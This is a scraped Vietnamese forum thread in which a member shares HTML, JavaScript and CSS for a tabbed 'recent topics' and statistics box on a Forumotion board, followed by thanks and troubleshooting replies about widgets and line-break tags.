<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="80%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<b>Tiêu đề:</b> <font color=#B429DF>{classical_row.recent_topic_row.L_TITLE}</font><br> <b>Thời gian:</b> <font color=#297CDF>{classical_row.recent_topic_row.S_POSTTIME}</font>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_TITLE}"><b><font style="font-family: Tahoma; font-size: 11px">{classical_row.recent_topic_row.L_TITLE}</font></b></a><br><!-- END recent_topic_row --></td><td></td><td style="border-top: 0px none; padding: 2px; line-height: 20px; background-repeat: repeat;" align="right" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif" width="20%"><!-- BEGIN recent_topic_row --><a onmouseover="showtip('<span>Click để xem profile của thành viên này !</span>');" onmouseout="hidetip();" href="{classical_row.recent_topic_row.U_POSTER}"><font style="font-family: Tahoma; font-size: 11px"><img src="http://i832.photobucket.com/albums/zz244/a1tg3/mem.gif" height="13" />{classical_row.recent_topic_row.S_POSTER}  </font></a><br><!-- END recent_topic_row --></td></tr></table></td></tr></tbody></table>

<!-- END classical_row -->

</div><div class="Page" style="padding: 0px; height: 304px; display: block;"><table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif">
<A href=http://a1tinhgia3.co.cc/search.forum?search_id=activetopics><span><font style="font-family: Tahoma; font-size: 11px">Bài viết trong ngày</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#10><span><font style="font-family: Tahoma; font-size: 11px">Các bài viết trong tháng</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#2><span><font style="font-family: Tahoma; font-size: 11px">Thống kê tổng thể</span></a><br>
<A href=http://a1tinhgia3.co.cc/stats.htm#3><span><font style="font-family: Tahoma; font-size: 11px">Topic sôi nổi nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#4><span><font style="font-family: Tahoma; font-size: 11px">Topic xem nhiều nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#5><span><font style="font-family: Tahoma; font-size: 11px">Thành viên có nhiều chủ đề nhất</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#6><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong 1 tuần</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#7><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong tháng</span></a><br>
 <A href=http://a1tinhgia3.co.cc/stats.htm#8><span><font style="font-family: Tahoma; font-size: 11px">Top poster</span></a><br>
  <A href=http://a1tinhgia3.co.cc/stats.htm#9><span><font style="font-family: Tahoma; font-size: 11px">Số topic trong tháng</span></a><br>
</td></tr></table></td></tr></tbody></table>
</div> <script type="text/javascript">tabview_initialize('TabView');</script><ScrollTop --><style type="text/css">#topbar{  PADDING-TOP: 0px;PADDING-BOTTOM: 0px;PADDING-RIGHT: 0px; PADDING-LEFT: 0px;VISIBILITY: hidden;WIDTH: 180px;FONT-FAMILY: Tahoma;POSITION: absolute;}</style><script type="text/javascript">var persistclose = 0<!--
 Vị trí-->var startX = 80var startY = 500var verticalpos = "frombottom"function iecompattest(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body}function get_cookie(Name){var search = Name + "="var returnvalue = "";if (document�cookie.length > 0){offset = document�cookie.indexOf(search)if (offset != -1){offset += search.lengthend = document�cookie.indexOf(";", offset);if (end == -1) end = document�cookie.length;returnvalue=unescape(document�cookie.substring(offset, end))}}return returnvalue;}function closebar(){if (persistclose)document�cookie="remainclosed=1"document.getElementById("topbar").style.visibility="hidden"}function staticbar(){barheight=document.getElementById("topbar").offsetHeightvar ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;var d = document;function ml(id){var el=d.getElementById(id);if (!persistclose || persistclose && get_cookie("remainclosed")=="")el.style.visibility="visible"if(d.layers)el.style=el;el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};el.x = startX;if (verticalpos=="fromtop")el.y = startY;else{el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;el.y -= startY;}return el;}window.stayTopLeft=function(){if (verticalpos=="fromtop"){var pY = ns ? pageYOffset : iecompattest().scrollTop;ftlObj.y += (pY + startY - ftlObj.y)/8;}else{var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;ftlObj.y += (pY - startY - ftlObj.y)/8;}ftlObj.sP(ftlObj.x, ftlObj.y);setTimeout("stayTopLeft()", 10);}ftlObj = ml("topbar");stayTopLeft();}if (window.addEventListener)window.addEventListener("load", staticbar, false)else if (window.attachEvent)window.attachEvent("onload", staticbar)else if (document.getElementById)window.onload=staticbar</script></div> </td>


2 . css:
vào (ACP>>Display>>Colors>>CSS) thêm đoạn này:

Code:

.tabs { margin: 0; padding: 0;}
.tabs { padding-bottom: 31px; margin-bottom: 15px; background: #e5effe; border-bottom: 1px solid #b4d0f3; }
.tabs li { list-style: none;float: left; line-height: 30px; border-right: 1px solid #b4d0f3; height: 30px; font-size: 11px;}
.tabs li.current { background: #FFF; height: 32px; font-weight: bold; }
.mainbox { background: #FFF; border: 1px solid #9DB3C5; margin-bottom: 6px; padding: 1px;}
.mainbox table { width: 100%; }
#dhtmlpointer, #dhtmltooltip
{
   z-index: 999;
   left: -300px; top:0px;
   visibility: hidden;
   position: absolute;
}
#dhtmltooltip
{
   border: #666 2.4px solid;
   -moz-opacity: 0.8;
   opacity: 0.8;
   filter: alpha(opacity=80);
   -moz-border-radius: 6px;
   -webkit-border-radius: 6px;
   padding: 10px;
   font-size: 9pt;
   font-family: Arial;
   background-color: white;
   width: auto;
   max-width: 340px;
   width:expression( document.body.clientWidth > 340? "340px": "auto" );
   text-align:left;
}

Để cho nó giống hơn thì có đoạn css cho catLeft

Code:

th.thLeft,td.catLeft {
    background-color: #e5effe;
  color: #000000;
  font: bold 10pt Tahoma;
    height: 31px;
 border-bottom: 1px #b4d0f3 solid;
    }

cách làm nè, link down video đây

http://www.mediafire.com/?gpwaupwosnyp3d9

thế là xong!! các bạn có thể thưởng thức thành quả
lưu ý: up lại toàn bộ link ảnh và file .js
demo: http://a1tinhgia3.co.cc/index.htm
Bài viết được viết bởi thuan007 và có sử dụng code của và Kền Kền Trắng

[jeajinqv]

bạn ơi , có thấy mấy code kia đâu , bạn post lại hết đi

[chuột quậy ~=>]

trả lời là thấy!!

[Việt]

sửa cái catLeft cho nó giống hoàn toàn luôn đi

[BOM]

xem nào
a việt thử chỉnh sửa lại rồi chia sẻ cho a e xài

[thuanoo7]

sửa cái catLeft cho nó giống hoàn toàn luôn đi

đã thêm \\m/

[gaulanh]

thank

[LyO]

hay phết

[xiteen9x]

để thử ko dc ta chém

[_Mark_]

cảm ơn naz, hjhj

[dvnguyenbmt123]

để test thử xem ! nhìn cái demo cũng hay

[lop11a2]

THay Bằng Cái Gi thế Post lại đi . Và Css nằm ở đâu thế

[Mr.FR]

cái bề ngang bên mình hẹp quá chả xài được

[thuanoo7]

cái bề ngang bên mình hẹp quá chả xài được

cái đó mình để % mà! hẹp mấy cũng xài được

[hanam123]

cảm ơn bạn nhá,đang cần

[nguyenlam101]

hay

[DuyKhang]

làm thử cái

[samacxanh]

Quá hay, cảm ơn thuanoo7 nha.

[love]

Cao thủ ........................

[zuzuchanh]

Đễ check thữ xem=p~
nhìn hấp dẫn qá đi ^^!

[nhp]

hay đấy không bit có dc hok

[amevn]

cảm ơn !!!

[zuzuchanh]

Bạn ơi!
Sao mình làm rồi mà nó thiếu cái top poster , còn last topic thì nó hiện ra chỉ có 1-12 thui chứ ko dc 20 , mà trong số 12 thì chĩ hiện lên có 7bài viết mới nhất, còn lại là ô trống ????
- có thễ mình làm sao, nhưng làm y như trên bạn chĩ đó
ko hĩu
Bạn vào giúp với hoặc check lại xem có thíu phần nào không
Dù sao cũng cảm ơn bạn nhiệt tình ^^!

[Việt]

Bạn ơi!
Sao mình làm rồi mà nó thiếu cái top poster , còn last topic thì nó hiện ra chỉ có 1-12 thui chứ ko dc 20 , mà trong số 12 thì chĩ hiện lên có 7bài viết mới nhất, còn lại là ô trống ????
- có thễ mình làm sao, nhưng làm y như trên bạn chĩ đó
ko hĩu
Bạn vào giúp với hoặc check lại xem có thíu phần nào không
Dù sao cũng cảm ơn bạn nhiệt tình ^^!

1. Do bạn chưa gắn widget.
2. Forum mới có 12 bài viết viết đủ 20 bài đi rồi nó hiện hết.
3. Lastest topic mình dùng <br> để xuống dòng chứ không dùng div block nên trong quá trình chỉnh sửa bài viết có thể bạn chủ topic làm mất <br />

dấu <br /> khi edit bài sẽ mất
tốt nhấn nên dùng <br>

[ligerv]

wa' hay

[zuzuchanh]

Àk hĩu rồi!
bạn nói rõ câu .1 của bạn dc ko, mình mới lập ẻum chưa hĩu lắm, chỉ cụ thễ mình cảm ơn bạn nhiều nhé!
2. câu sau mình đã check lại rồi. Cảm ơn bạn. Đễ mình làm hoàn chĩnh xem có lỗi nào không đã^^!

Úi
bạn ơi check của mình
Sao Last topic h nó nằm bên góc phải kế baner lun rồi:(
Giúp mình với bạn ơiiii
Demo http://bauham.4umer.net/index.htm

[Việt]

Widget thì vào Modules - thêm widget Top Poster trên Recent topic

Sửa tiếp ở mod_recent_topic:
Tìm trong code - có 2 đoạn <!-- END recent_topic_row --> thêm <br> ngay phía trước cả 2.

[zkenz]

hay hay

[zuzuchanh]

ok cảm ơn bạn rất nhiệt tình gíup mìNH^^!
cảm ơn bạn!

[RS_KN]

sao lại chia sẻ ở đây thế thuan! Đây là box thắc mắc mừ... cũng cảm ơn nhá... hehe...

[Sponsored content]